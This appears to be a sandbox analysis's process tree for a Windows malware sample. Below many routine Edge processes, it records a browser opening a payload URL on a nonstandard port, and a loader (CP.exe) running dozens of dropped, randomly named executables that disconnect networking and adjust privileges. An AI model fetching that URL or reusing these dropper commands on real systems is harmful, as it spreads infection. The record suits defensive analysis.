      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3628,i,16851104943232136887,3872490842581698242,2097152 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=3828 /prefetch:1
      4⤵
      PID:2008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4364,i,2208369683355563518,18181602157931687639,2097152 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:1
      4⤵
      PID:1368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4400,i,10823397833753722582,7808880972994434163,2097152 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:9
      4⤵
      PID:3916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4464,i,14386572020589304545,2877907623147814868,2097152 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
      4⤵
      PID:3380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3960,i,4115504083887185081,3144892852128409862,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:14
      4⤵
      PID:3880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5520,i,8030309014277269615,18303362915173243582,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:14
      4⤵
      PID:6124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,10042309729582070167,15299963524565272640,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:14
      4⤵
      PID:1144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,14962683128697847859,9653934320943901659,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:14
      4⤵
      PID:5316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,14962683128697847859,9653934320943901659,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:14
      4⤵
      PID:1896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6468,i,1151425580394910750,10512318418710440685,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
      4⤵
      PID:2684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6676,i,6121488969468142763,4480588781497496090,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=6672 /prefetch:14
      4⤵
      PID:3768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6892,i,11215232402416199883,11644655684345413128,2097152 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=6868 /prefetch:1
      4⤵
      PID:3844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3908,i,15183256910765234455,7275838555536471675,2097152 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=3912 /prefetch:1
      4⤵
      PID:2072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,460547111063309850,2322495799614968379,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=1268 /prefetch:14
      4⤵
      PID:1452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,13627939346178890667,2748040286965053006,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:14
      4⤵
      PID:3788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1288,i,2777250637542931378,6020650028512697556,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:14
      4⤵
      PID:4500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5268,i,8243714794721409501,3728041529372151315,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:14
      4⤵
      PID:6020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1268,i,17801949157776704761,311682665455125895,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
      4⤵
      PID:1748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5688,i,11921285775373152027,13091719746482761069,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:14
      4⤵
      PID:2892
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5468,i,14179265045882140397,7309482095396707321,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:14
      4⤵
      PID:2844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6964,i,865333411745249991,15208352307854171385,262144 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=6956 /prefetch:10
      4⤵
      PID:5196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3456,i,11302105607104516739,14397791759607128496,524288 --field-trial-handle=2628,i,4795255258184361860,11327000325971359987,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:14
      4⤵
      PID:4808
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:5752
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uomhezusjh.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2124
- - C:\Temp\uomhezusjh.exe
    C:\Temp\uomhezusjh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3472
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3640
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uomhezusjh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1860
- - C:\Temp\i_uomhezusjh.exe
    C:\Temp\i_uomhezusjh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rojhbztrlj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4360
- - C:\Temp\rojhbztrlj.exe
    C:\Temp\rojhbztrlj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1140
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:564
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rojhbztrlj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:976
- - C:\Temp\i_rojhbztrlj.exe
    C:\Temp\i_rojhbztrlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3024
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tomgeztolj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5712
- - C:\Temp\tomgeztolj.exe
    C:\Temp\tomgeztolj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5144
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5328
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5460
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tomgeztolj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4148
- - C:\Temp\i_tomgeztolj.exe
    C:\Temp\i_tomgeztolj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5464
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\igbytqljdb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4748
- - C:\Temp\igbytqljdb.exe
    C:\Temp\igbytqljdb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1048
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3036
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1324
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_igbytqljdb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:424
- - C:\Temp\i_igbytqljdb.exe
    C:\Temp\i_igbytqljdb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5812
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xvtnlfdyvq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1644
- - C:\Temp\xvtnlfdyvq.exe
    C:\Temp\xvtnlfdyvq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5248
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1940
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2788
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xvtnlfdyvq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5276
- - C:\Temp\i_xvtnlfdyvq.exe
    C:\Temp\i_xvtnlfdyvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1724
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lfdxvqniga.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1672
- - C:\Temp\lfdxvqniga.exe
    C:\Temp\lfdxvqniga.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4136
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5832
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lfdxvqniga.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4908
- - C:\Temp\i_lfdxvqniga.exe
    C:\Temp\i_lfdxvqniga.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3136
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nhfaxsqkic.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4488
- - C:\Temp\nhfaxsqkic.exe
    C:\Temp\nhfaxsqkic.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3864
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5564
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5792
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nhfaxsqkic.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3748
- - C:\Temp\i_nhfaxsqkic.exe
    C:\Temp\i_nhfaxsqkic.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1728
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pjhczxrpke.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5720
- - C:\Temp\pjhczxrpke.exe
    C:\Temp\pjhczxrpke.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:244
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1884
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5752
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pjhczxrpke.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5104
- - C:\Temp\i_pjhczxrpke.exe
    C:\Temp\i_pjhczxrpke.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1864
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rmjeczurmj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5896
- - C:\Temp\rmjeczurmj.exe
    C:\Temp\rmjeczurmj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6032
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:264
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:360
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rmjeczurmj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4416
- - C:\Temp\i_rmjeczurmj.exe
    C:\Temp\i_rmjeczurmj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2876
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\cwuomgecwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5076
- - C:\Temp\cwuomgecwu.exe
    C:\Temp\cwuomgecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2264
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5872
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3196
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_cwuomgecwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2012
- - C:\Temp\i_cwuomgecwu.exe
    C:\Temp\i_cwuomgecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6100
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\geywrojhby.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5220
- - C:\Temp\geywrojhby.exe
    C:\Temp\geywrojhby.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1432
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2752
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:204
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_geywrojhby.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2460
- - C:\Temp\i_geywrojhby.exe
    C:\Temp\i_geywrojhby.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5740
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\oigbytrljd.exe ups_run
  2⤵
  PID:4692
- - C:\Temp\oigbytrljd.exe
    C:\Temp\oigbytrljd.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5756
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4140
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1820
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_oigbytrljd.exe ups_ins
  2⤵
  PID:1976
- - C:\Temp\i_oigbytrljd.exe
    C:\Temp\i_oigbytrljd.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4320
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kidaysqlid.exe ups_run
  2⤵
  PID:5020
- - C:\Temp\kidaysqlid.exe
    C:\Temp\kidaysqlid.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4200
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5432
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:632
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kidaysqlid.exe ups_ins
  2⤵
  PID:6100
- - C:\Temp\i_kidaysqlid.exe
    C:\Temp\i_kidaysqlid.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3796
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\snkfdxvpni.exe ups_run
  2⤵
  PID:4472
- - C:\Temp\snkfdxvpni.exe
    C:\Temp\snkfdxvpni.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3676
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1440
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5700
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_snkfdxvpni.exe ups_ins
  2⤵
  PID:1612
- - C:\Temp\i_snkfdxvpni.exe
    C:\Temp\i_snkfdxvpni.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:256
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xvpnkfdxvp.exe ups_run
  2⤵
  PID:1552
- - C:\Temp\xvpnkfdxvp.exe
    C:\Temp\xvpnkfdxvp.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1372
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3560
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5808
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xvpnkfdxvp.exe ups_ins
  2⤵
  PID:4068
- - C:\Temp\i_xvpnkfdxvp.exe
    C:\Temp\i_xvpnkfdxvp.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4132
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rpkhczusmk.exe ups_run
  2⤵
  PID:1604
- - C:\Temp\rpkhczusmk.exe
    C:\Temp\rpkhczusmk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5752
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1096
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3796
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rpkhczusmk.exe ups_ins
  2⤵
  PID:2600
- - C:\Temp\i_rpkhczusmk.exe
    C:\Temp\i_rpkhczusmk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6076
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jhbwurpjhc.exe ups_run
  2⤵
  PID:2088
- - C:\Temp\jhbwurpjhc.exe
    C:\Temp\jhbwurpjhc.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2516
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:360
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2760
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jhbwurpjhc.exe ups_ins
  2⤵
  PID:5372
- - C:\Temp\i_jhbwurpjhc.exe
    C:\Temp\i_jhbwurpjhc.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\geywromgbz.exe ups_run
  2⤵
  PID:5208
- - C:\Temp\geywromgbz.exe
    C:\Temp\geywromgbz.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3308
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1520
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2700
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_geywromgbz.exe ups_ins
  2⤵
  PID:5716
- - C:\Temp\i_geywromgbz.exe
    C:\Temp\i_geywromgbz.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5904
